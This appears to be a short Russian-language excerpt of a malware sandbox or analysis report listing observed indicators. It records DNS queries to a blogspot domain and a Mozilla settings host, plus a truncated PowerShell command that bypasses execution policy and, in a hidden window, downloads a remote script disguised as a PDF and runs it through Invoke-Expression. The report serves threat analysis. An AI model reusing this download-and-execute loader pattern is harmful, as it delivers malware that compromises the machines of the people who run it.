Техническая информация
- DNS ASK po#######bunbunsed.blogspot.com
- DNS ASK fi#####.###tings.services.mozilla.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IrM https://potalgonabunbunsed.blogspot.com///////////i.pdf); Start-Sleep -Seco... (со скрытым окном)